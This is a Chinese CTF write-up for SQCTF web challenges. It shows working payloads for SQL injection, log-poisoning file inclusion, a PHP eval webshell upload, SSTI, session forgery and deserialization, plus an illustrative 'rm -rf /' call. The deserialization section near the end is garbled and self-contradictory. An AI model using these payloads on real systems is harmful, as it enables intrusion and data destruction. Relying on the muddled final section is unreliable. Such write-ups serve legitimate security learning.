sqctf-web 商丘师范学院第四届网络安全及信息对抗大赛

RceMe(未完成)

ezGame

思路:

这题本来只是单纯的想玩一下游戏,失败的时候自动跳flag了,然后才到源码里仔细看

当游戏结束时,弹出提示框告知玩家游戏结束,然后向服务器发送一个包含当前游戏得分的 GET 请求,请求服务器端的 flag.php 脚本,最后将服务器返回的响应文本以警告框的形式显示给玩家。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
if (obj.isGameOver()) { 
//调用 obj 对象的 isGameOver 方法来判断游戏是否结束。若该方法返回 true,则表示游戏结束,会执行大括号内的代码;若返回 false,则不执行。
//游戏失败
//$("game").style.display = "block";
//$("gameover").style.display = "block";
//$("Score").innerHTML = "GAME OVER!<br>Score:" + obj.score;
//console.log("gameover");
alert('Game over!');
//当游戏结束时,弹出一个警告框,显示 Game over! 这样的提示信息,告知玩家游戏已结束。
obj.getFlag();
//调用 obj 对象的 getFlag 方法,该方法用于向服务器发送请求以获取游戏标志(flag)。
}
},

getFlag: function() {
var req = new XMLHttpRequest;
req.open("GET","flag.php?score="+obj.score,true);
req.onload = function() {
alert(this.responseText);
}
req.send();
}
}

但是这里我们不知道flag.php的内容是什么,所以访问一下flag,php,发现直接提示了分数不足!达到2048分即可活动flag,所以玩到2048就可以了

好吧,又尝试了一下,没到2048也会有提示(前端改不行)

伪装(未修改)

🔍 代码分析

1. 核心路由逻辑

  • / 路由

    1
    2
    3
    4
    @app.route('/')
    def index():
    session['role'] = {'is_admin': 0, 'name': 'aiyamaya'} # 强制覆盖 session,设置普通用户权限
    return open(__file__).read() # 直接泄露源代码,暴露 secret_key
    • 暴露密钥:访问 / 会返回源码,导致 secret_key = 'love' 泄露。
    • Session 覆盖:每次访问 / 会重置 role 为普通用户,应避免在此阶段操作。
  • /admin 路由

    1
    2
    3
    4
    5
    @app.route('/admin')
    def admin_handler():
    role = session.get('role')
    if role.get('is_admin') == 1 and role.get('name') == 'sjx':
    return render_template_string("Oh, You get me! The flag is: %s" % os.popen("cat /flag").read())
    • 权限校验目标:只有 role={'is_admin': 1, 'name': 'sjx'} 能触发 flag 返回。

🎯 攻击思路

利用 Flask Session 伪造漏洞

  1. 密钥泄露:通过访问 / 得知 secret_key = 'love'
  2. 构造恶意 Session:生成包含 role={'is_admin': 1, 'name': 'sjx'} 的合法 Cookie。
  3. 绕过权限检查:携带伪造的 Cookie 访问 /admin,触发 flag 逻辑。

Ping(未完成)

Are you from SQNU?(未完成)

Through

这里因为题目刷的不多,第一遍写的时候没有想起来是什么知识点。

第二次写注意到题目目录遍历,才反应过来

然后就用FUZZ一把梭了

image-20250410171551099

Look for the homepage

Level1绕过:

  • 利用条件 $pass2 === "welcome",设置GET参数 pass2=welcome,其他参数 pass1verify 可为任意值。

Level2绕过:

  • 构造POST参数 value1 和GET参数 value3,使得 $a['fly'] 等于 md5($value3)。例如,选择 value3=a,其MD5为 0cc175b9c0f1b6a831c399e269772661,设置 value1=fly=0cc175b9c0f1b6a831c399e269772661

payload:http://challenge.qsnctf.com:31728/challenge.php/?pass1=1&pass2=welcome&verify=2&value3=a

value1=fly=0cc175b9c0f1b6a831c399e269772661

商师一日游

商师好好看,比我破大专好多了o(╥﹏╥)o

第一关

提示source,直接直接看源码

1
2
3
<!--苦苦找寻, 在附近的草丛中发现的你的令牌,
你成功进入校园 ===> /atc2cnzd.php
旅行碎片1: sqctf{-->

第二关

打开你的终端,构造一块fish牌的曲奇饼,上面刻下strong字样,便可获得强筋壮骨牌鱼食曲奇曲奇?Cookie! 根据提示查看Cookie,发现里面的fish=weak改成strong就可以了

1
2
旅行碎片2: d776
你继续前进 ===> /atc3oklm.php

第三关

提示进入终端,在devtool中找到复活币

这里刚开始在源码和js里找(找错了)

devtools?是什么,刚开始不知道所以这里问ai了,刚刚搜了发现是开发工具

为什么用curl -V

(以下是deepseek R1的理由)

  • 复活币是服务器返回的隐藏数据,而非页面可见内容

  • 它可能存在于:

    • HTTP 响应头(如 X-FlagX-Token 等自定义头)
    • HTML 注释(开发者工具中可见但页面不渲染)
    • JS/CSS 文件(代码中硬编码的字符串)
    • 网络请求的元数据(如 Cookie、重定向路径)
    • 操作路径的逻辑
      根据提示的指引,解题流程应为:
    1
    打开开发者工具 → 定位网络请求 → 分析请求/响应 → 提取复活币

这里在html和js还有cookie都找过了,没有内容,所以才选择在http响应中寻找

curl -v 的 verbose 模式会显示 完整的 HTTP 交互过程,包括:

  1. 请求头 (Request Headers)
    可确认是否携带了必要的参数或 Cookie
  2. 响应头 (Response Headers)
    直接暴露服务器返回的元数据(如复活币的位置)
  3. 调试信息
    例如 302 重定向路径、认证失败提示等

所以使用命令curl -v http://challenge.qsnctf.com:30868/atc3oklm.php

1
2
3
4
5
6
7
8
9
10
11
回显
< HTTP/1.1 200 OK
< Date: Mon, 07 Apr 2025 11:30:59 GMT
< Server: Apache/2.4.25 (Debian)
< X-Powered-By: PHP/5.6.40
< Revival: true
< Tourist_fragment3: 3349f6 //flag
< Information: Let's fight again ===> /atc4zztg.php //下一关
< Vary: Accept-Encoding
< Content-Length: 2288
< Content-Type: text/html; charset=UTF-8

第四关

借由终端,找到robots.txt,从而获得超强jumping power,拿到纸条

?jumping 姜萍!

这里根据提示查看robots.txt文件就行

1
2
3
4
5
6
7
8
9
url:http://challenge.qsnctf.com:30868/robots.txt
You get the note, which reads:
"Thank you for your help, let me save you some time for the rest of your journey"

Suddenly, the note unfolds a portal, and you are sucked in and out of sight

Tourist fragment4: ee43ebb

Next location ===> /atc5uupl.php

第五关

正则,大概吧。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
		$a=$_GET['hhh'];

if(preg_match('/^php$/im', $a)){
if(preg_match('/^php$/i', $a)){
echo 'hacker';
}
else{
echo xxxxxxxxxxx;
}
}
else{
echo 'nonononono';
}
//第一层校验 /^php$/im
修饰符 m(多行模式)
使 ^ 和 $ 匹配字符串中每一行的开头和结尾(而非整个字符串的开头和结尾)。
修饰符 i(忽略大小写)
匹配时不区分大小写(如 PHP、PhP 均符合)。
if条件:
如果输入字符串中存在至少一行完全等于 php(不区分大小写),那么进入下一层判断;否则结束

//第二层校验 /^php$/i
无 m 修饰符
^ 和 $ 仅匹配整个字符串的开头和结尾。
修饰符 i 仍生效
忽略大小写。
if条件:
如果整个输入字符串严格等于 php(不区分大小写,且无额外字符或换行),那么输出hacker,否则输出xxxxxxxxxxx;

绕过思路

根据上面的分析,我们需要第一个判断返回true,第二个判断返回false。

可以用php%0A(换行符的url编码)+任意内容,满足获得输出的条件

  • 换行符注入
    php%0A123php%0D%0A123(Windows 换行)、php\n(直接写入)。
  • 多行组合
    abc%0Aphp%0Adef(第二行匹配 php)。

我这里选了第一种?hhh=php%0A123

1
2
3
4
获得回显
成功消灭逸散漏洞
旅行碎片5: 01e78a3d
你继续前进 ===> /atc6ertg.php

第六关

?我怎么不点,不让我点

所以只要点击按钮就可以了,根据网页基础知识,可以去掉这里

<input disabled type="submit" value="Hidden Levels" name="auth" style=" height: 50px">disabled就可以按按钮了

1
2
验证成功, 欢迎来到隐藏关卡: 继续前进  //点击这里
别忘了收集旅行碎片6: efaa2

第七关

恭喜恭喜

image-20250407203123125

这里直接post查看就行,考的是命令执行,直接看目录,再检查就行

memory=system('ls');

image-20250407203314954

memory=system('tac Tourist_fragment7');

image-20250407203444312

结束啦,恭喜恭喜,其他题目不会写了,先这样吧

小小查询系统

学了许久的sql注入终于碰到了

发现可以正常联合查询,那就联合查询,单引号闭合

这里有点思维惯性了,认为flag一定在当前库下面,所以一直查下去,发现没有。以为是自己搞错了,后来反应过来,可能在其他库下面。成功找到了ctf库,flag名,id,value列名,但是这里在查询数据的时候,显示flag库不存在,?why,,why,baby,why,思索许久,选择了询问恩师deepseek,才了解到,数据库查询数据是从当前数据库查的,如果当前数据库没有查询的表,那么就会回显,不存在flag库,所以最后查询是?id=-1' union select 1,2,(select group_concat(id,'~',value) from ctf.flag) %23 ,这题又学到了知识点,(^o^)/~

baby_include

这题wp参考了deepseek rensoner

漏洞分析

1. 漏洞类型

  • 本地文件包含(LFI):题目代码中存在 include($look) 操作,且参数 look 未严格限制协议和路径,导致可读取任意本地文件。
  • 过滤不严:仅对 phpdatafilterinput 等关键词进行替换,未禁用 file:// 协议或彻底限制文件范围。

2. 漏洞触发点

1
include($look);  // 直接包含用户输入的 $look 参数
  • 用户通过 ?look=xxx 可控制包含的文件路径。
  • 若包含的文件中存在 PHP 代码(如日志文件),会被解析执行。

3. 过滤规则缺陷

1
2
3
4
// 替换关键词为 !!!
$look = str_replace("php", "!!!", $look);
$look = str_replace("data", "!!!", $look);
...
  • 仅替换部分协议关键词,未禁用 file:// 协议。
  • 未对文件路径做白名单限制(如仅允许包含特定目录)。

思路

核心逻辑

  1. 目标:读取 /var/www/html/flag.php(Flag 文件)。
  2. 限制:无法直接使用 php://filterdata:// 协议读取文件源码。
  3. 替代方案
    • 利用日志文件:通过 file:// 协议包含服务器日志文件(如 Nginx 的 access.log)。
    • 污染日志:注入 PHP 代码到日志中,使其成为可执行的“恶意文件”。

攻击步骤

  1. 污染日志:发送携带恶意 User-Agent 的 HTTP 请求,将 PHP 代码写入日志。
  2. 触发执行:通过 LFI 包含日志文件,触发代码执行,读取 Flag。

绕过原理

1. 绕过协议过滤

  • 过滤规则phpdatafilterinput 被替换为 !!!

  • 可用协议file:// 未被过滤,可直接使用。

  • 关键操作

    1
    curl "http://目标/?look=file:///var/log/nginx/access.log"

2. 日志文件作为 PHP 代码载体

  • 日志记录机制:服务器会将请求头信息(如 User-Agent)记录到日志文件中。

  • 代码注入通过User-Agent注入 PHP 代码:

    1
    curl -A "<?php system('cat /flag'); ?>" http://目标
  • 日志污染结果:

  • 日志中会包含一行如下内容:

    1
    127.0.0.1 - - [时间戳] "GET / HTTP/1.1" 200 ... "<?php system('cat /flag'); ?>"
  • 代码执行:当通过 include() 包含日志文件时,其中的 PHP 代码会被解析执行。

3. 路径猜测依据

  • 日志路径
    • Nginx 默认日志路径:/var/log/nginx/access.log
    • Apache 默认日志路径:/var/log/apache2/access.log
    • CTF 题目通常使用默认路径。
  • Flag 路径
    • Web 根目录惯例:/var/www/html
    • 常见 Flag 文件名:flag.phpflag.txt/flag

绕过方案

1. 完整攻击流程

1
2
3
4
5
# 步骤1:污染日志(注入 PHP 代码)
curl -A "<?php system('cat /var/www/html/flag.php'); ?>" http://challenge.qsnctf.com:31338/

# 步骤2:触发文件包含(执行日志中的代码)
curl "http://challenge.qsnctf.com:31338/?look=file:///var/log/nginx/access.log"

input a number

此题目wp参考了deepseek reasoner

intval将变量转为整数

  • 对于字符串,会尝试提取开头的数字部分(忽略非数字字符)。
  • 对于浮点数,直接取整数部分(向下取整)。
  • 对于其他类型(如数组、对象),返回 01(PHP 8+ 会报错)

漏洞分析

  • intval() 的进制解析:当intval()的第二个参数为0时,会根据字符串格式自动判断进制:
    • 0 开头解析为 八进制(如 0123)。
    • 0x 开头解析为 十六进制(如 0x1abc)。
    • 其他情况解析为 十进制
  • PHP松散比较(==:不同类型比较时会尝试强制转换,例如字符串 "114514a" 会被转换为数字 114514

绕过方法

传递一个值,使得:

  1. 原始值不等于 114514(避免触发 die())。
  2. intval() 转换后等于 114514

方法1:科学计数法

传入 114514e0

  • PHP会将 114514e0 视为浮点数 114514.0
  • 松散比较114514.0 == 114514触发 die()(失败)。

方法2:十六进制或八进制

传入 0x1BF82(十六进制)或 0337362(八进制):

  • 两者十进制均为 114514,导致直接触发 die()(失败)。

方法3:浮点数末尾非零

传入 114514.1

  • 松散比较114514.1 != 114514 → 不触发 die()
  • intval() 转换:截断小数部分 → 114514 → 满足条件。

Ez_calculate

思路

这个之前newstar碰到过,当时前端改了没有效果,所以这题惯性思维,直接脚本跑了(用ai改了一下之前的代码)结果返回了/flag这个路径,所以可以扫目录?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
mport requests
import re

BASE_URL = "http://challenge.qsnctf.com:31365/"
HEADERS = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36"
}


def calculate(expr):
# 统一清洗操作(处理特殊符号和空格)
expr = expr.replace(' ', '').replace('×', '*').replace('x', '*').replace('÷', '/').strip()
return int(eval(expr))


def solve():
s = requests.Session()

# Step 1: 获取题目页面
r = s.get(BASE_URL, headers=HEADERS)
r.raise_for_status()

# Step 2: 查找数学表达式(优化正则表达式)
expr_match = re.search(
r'>([^<]*\d+[+\-*/x×÷]\d+[+\-*/x×÷][^<]+)<',
r.text.replace(' ', '') # 移除所有空格确保匹配成功率
)

if not expr_match:
print("❌ 错误:无法识别数学表达式!网页内容片段:")
print(r.text[:500])
return

raw_expr = expr_match.group(1).strip()
print(f"[DEBUG] 原始表达式字符串: {raw_expr}")

# Step 3: 处理并计算
try:
answer = calculate(raw_expr)
print(f"✅ 计算完成:{raw_expr} = {answer}")
except Exception as e:
print(f"❌ 计算表达式失败: {str(e)}")
return

# Step 4: 提交答案(确保提交字符串格式)
r = s.post(BASE_URL, data={'value': str(answer)}, headers=HEADERS)

# Step 5: 提取Flag(安全方式)
flag_match = re.search(r'flag\{[^}]+\}', r.text, re.IGNORECASE)
if flag_match:
print(f"\n🎉 成功获取Flag: {flag_match.group()}")
else:
print("\n❌ 未找到Flag,可能原因:")
print("- 答案计算错误")
print("- 页面结构改变")
print("- 服务器限制(如频率)")
print("\n服务器返回内容片段:")
print(r.text[:500])


if __name__ == "__main__":
solve()

image-20250410175238783

My Blog

什么都没有,就找到一个登录账号密码,刚开始以为是注入,结果没有办法输进去

之后感觉,如果有登录账号密码,就一定有登录页面,于是选择了dirsearch扫一遍,结果刚好出来了,再用找到的账号密码登录

image-20250410175721586

哎呀大大大黑塔

思路:

看了好几遍pv,pv里的数字尝试了好几遍

还是看到群里好兄弟提示说不在pv但是是视频,尝试了日期,评论区等最后bv号成功了。

进去之后是反序列化。

  1. 目标条件
    • 反序列化后的 Secret 对象需满足:$this->key === "SQCTF"
    • 触发 __destruct() 方法时会包含 flag.php 并输出flag

解法:

payload如下

O:6:"Secret":1:{s:3:"key";s:5:"SQCTF";}

URL编码后:data=O%3A6%3A%22Secret%22%3A1%3A%7Bs%3A3%3A%22key%22%3Bs%3A5%3A%22SQCTF%22%3B%7D

唯一

思路

这题刚开始没什么思路,找了半天没想法。我的笔记:?冒号之后的内容没有办法显示,所以卡在这。然后也是和ai交流了一下,返回可以在笔记内容有输入,note=xx;

尝试了一下确实可以正常回显了

不过还是不能进行sql注入,那就试试ssti ?note={{7*7}},回显49,说明可以ssti。

那就feijing一把梭

解法:

image-20250410215347826

Upload_Level1

恰好之前看过,再加上提示了马,所以就想到了文件上传一句话木马<?php @eval($_POST['cmd']);?>,不过这里限制了上传不能是php,只能是jpg….所以先改成jpg后缀,再用bp抓包,改成php发送,就可以用蚁剑连接了

Upload_Level2

这题感觉比1还简单,因为写了only images,所以就先上传了.jpg后缀,再用bp抓包,改成php后缀,成功上传,用蚁剑就可以了

baby rce

思路

pass1是sha1绕过,然后就调用函数了

学习了一下call_user_func()函数大概就是把输入的内容作为函数运行

call_user_func("system", "rm -rf /"); // 等同于 system("rm -rf /")

函数基本功能

call_user_func() 是 PHP 中的一个内置函数,用于动态调用用户自定义的函数或方法。其基本语法为:

1
mixed call_user_func(callable $callback [, mixed $parameter [, mixed $... ]])
  • 参数
    • $callback:要调用的函数名(字符串)或方法数组(如 ['Class', 'method'])。
    • $parameter...:可选参数,传递给被调用函数的参数。

代码示例分析

用户提供的代码片段:

1
call_user_func($_POST['payload']);
  • 行为解析
    • 从 HTTP POST 请求中获取名为 payload 的参数值。
    • 将该值直接作为函数名调用,例如:
      • 用户提交 payload=phpinfo → 执行 phpinfo()
      • 用户提交 payload=system → 执行 system()

为什么用 :: 而不是 ->

  • ->

    用于实例化对象的非静态方法调用:

    1
    2
    $obj = new TYctf();
    $obj->getKey(); // 调用对象实例的非静态方法
  • :: 用于直接调用类的静态方法,无需创建对象实例,更简洁且适合攻击场景。

解法:

  1. 发送GET请求(绕过Level 1):

    1
    GET /?param1=aaroZmOk&param2=aaK1STfY

    响应会返回 Level 1 pass

  2. 发送POST请求(触发Level 2):

    1
    2
    3
    POST / HTTP/1.1
    ...
    param1=aaroZmOk&param2=aaK1STfY&payload=TYctf::getKey

白月光

刚开始以为是sql注入,尝试许久没有反应。再尝试了49发现回显49,那就是ssti了。

直接feijing一把梭了

image-20250410213453075

无参之舞(没写出来)

eeaassyy

思路

乐,分数低自然是不难

刚开始点进去一片空白,想看源代码,但是右键和F12都被禁止了,那就用view-source:然后就出来了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
highlight_file(__FILE__);
include ("flag.php");
function filter($payload){
$black_list=array("flag","php");
return str_replace($black_list,"stop",$payload);
}
class test{
var $user = 'test';
var $pswd = 'sunshine';
function __construct($user){
$this->user=$user;
}
}

$payload=$_GET['payload'];
$profile=unserialize(filter($payload));
if ($profile->pswd=='escaping'){
echo "逃出来了, 恭喜恭喜<br>";
echo $flag;
}
?>

漏洞分析

  1. 过滤规则filter() 函数会将 flagphp 替换为 stop

  2. 目标条件:反序列化后对象的 pswd 属性值需为 escaping

  3. 类结构

    1
    2
    3
    4
    5
    class test {
    var $user = 'test';
    var $pswd = 'sunshine';
    function __construct($user) { $this->user = $user; }
    }

绕过方案

步骤 1️⃣:生成基础 payload

生成一个 test 类的序列化字符串,将 pswd 设为 escaping

1
2
3
4
5
6
7
8
9
<?php
class test {
var $user = 'test';
var $pswd = 'sunshine';
}

$obj = new test('hacker');
$obj->pswd = 'escaping';
echo serialize($obj);

输出:

1
O:4:"test":2:{s:4:"user";s:6:"hacker";s:4:"pswd";s:8:"escaping";}

步骤 2️⃣:绕过属性名过滤

由于 filter() 只替换值中的关键字(不影响属性名),直接使用原始 payload 即可。

最终 Payload

直接将生成的序列化字符串作为 GET 参数传递:

1
http://target.com/?payload=O:4:"test":2:{s:4:"user";s:6:"hacker";s:4:"pswd";s:8:"escaping";}

执行效果

  1. 服务端反序列化后对象属性:

    1
    2
    $profile->user = "hacker"
    $profile->pswd = "escaping"
  2. 满足 $profile->pswd == 'escaping' 条件,输出 flag。

嘿嘿嘿

漏洞分析

关键代码段:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
// 反序列化入口
if (isset($_POST['data'])) {
$data = unserialize($_POST['data']);

// 限制条件1:file不能是数组,且MD5不等于flag.php的MD5
if (is_array($data->file) || md5($data->file) === md5("flag.php")) {
die("No cheating!");
}

// 限制条件2:file不能包含php://协议
if (strpos($data->file, 'php://') !== false) {
die("No php protocol!");
}

// 目标触发条件:content必须为"GET_FLAG"
if ($data->content === "GET_FLAG") {
echo "Flag: " . file_get_contents("flag.php"); // 直接输出flag
}
}
  1. 核心矛盾点
  • 表面条件:需要满足 $data->content === "GET_FLAG"

  • 深层限制

    1
    $data->file

    必须绕过两个过滤条件:

    • 不能是数组:防止通过数组绕过MD5检测
    • MD5值不能等于 md5("flag.php"):即 $data->file 的字符串值不能是 flag.php
    • 不能包含 php:// 协议:防止直接使用协议流读取文件

攻击链构造

步骤 1️⃣:构建魔术方法链

1
2
3
4
5
6
7
8
9
10
11
12
13
// 创建yyy对象,用于读取flag.php内容
$yyy = new yyy();
$yyy->path = "flag.php"; // 目标文件
$yyy->allowed = true; // 允许读取

// 创建xxx对象,触发yyy的__toString()
$xxx = new xxx();
$xxx->data = $yyy; // 调用$xxx->__toString()时触发$yyy->__toString()

// 创建hhh对象,设置file属性为xxx对象
$hhh = new hhh();
$hhh->file = $xxx; // 反序列化时触发__toString()链
$hhh->content = "GET_FLAG";// 满足核心条件

步骤 2️⃣:序列化Payload

生成的序列化字符串:

1
O:3:"hhh":2:{s:4:"file";O:3:"xxx":1:{s:4:"data";O:3:"yyy":2:{s:4:"path";s:8:"flag.php";s:7:"allowed";b:1;}}s:7:"content";s:8:"GET_FLAG";}

绕过原理

  1. MD5动态计算绕过
  • 触发时机当执行md5($data->file)时:
    1. $data->filexxx 对象 → 触发 xxx::__toString()
    2. xxx->datayyy 对象 → 触发 yyy::__toString()
    3. yyy 对象读取 flag.php 内容 → 返回文件内容字符串
  • 实际计算值md5(flag.php文件内容)
  • 绕过条件md5(文件内容) ≠ md5("flag.php")(必然成立)
  1. 协议过滤绕过
  • 不使用协议流:直接通过 yyy 类读取文件路径 flag.php
  • 文件存在检测file_exists($this->file)hhh::__destruct() 中触发,但此处通过魔术方法链已绕过
  1. 精确条件满足
  • content
    
    1
    2
    3

    属性直接设置为

    "GET_FLAG"
    1
    2
    3

    ,触发核心逻辑:

    if ($data->content === "GET_FLAG") { echo "Flag: " . file_get_contents("flag.php"); // 直接输出flag }
    1
    2
    3
    4
    5
    6
    7

    ------

    #### 攻击流程

    1. **发送Payload**:

    POST / HTTP/1.1 Host: challenge.qsnctf.com:30308 Content-Type: application/x-www-form-urlencoded data=O:3:"hhh":2:{s:4:"file";O:3:"xxx":1:{s:4:"data";O:3:"yyy":2:{s:4:"path";s:8:"flag.php";s:7:"allowed";b:1;}}s:7:"content";s:8:"GET_FLAG";}
    1
    2
    3

    直接发送以下数据(URL编码后):

    POST /target.php HTTP/1.1 Host: example.com Content-Type: application/x-www-form-urlencoded data=O%3A8%3A%22stdClass%22%3A2%3A%7Bs%3A4%3A%22file%22%3Bs%3A9%3A%22any_value%22%3Bs%3A7%3A%22content%22%3Bs%3A8%3A%22GET_FLAG%22%3B%7D

  1. 服务端执行流程

    • 反序列化触发 hhh 对象构造
    • 检查 md5($data->file) 时触发魔术方法链,实际计算 flag.php 内容的MD5
    • 满足所有过滤条件后,执行 file_get_contents("flag.php") 输出flag

关键验证点

  1. 为什么不能直接用 stdClass
    • stdClass 无法触发魔术方法链,file 属性只能是静态字符串
    • 若设置 file = "flag.php" 会触发MD5过滤;设置其他值则无法读取flag
  2. 为什么需要三层类嵌套
    • hhh 提供反序列化入口
    • xxx 桥接 __toString() 调用
    • yyy 实现最终文件读取操作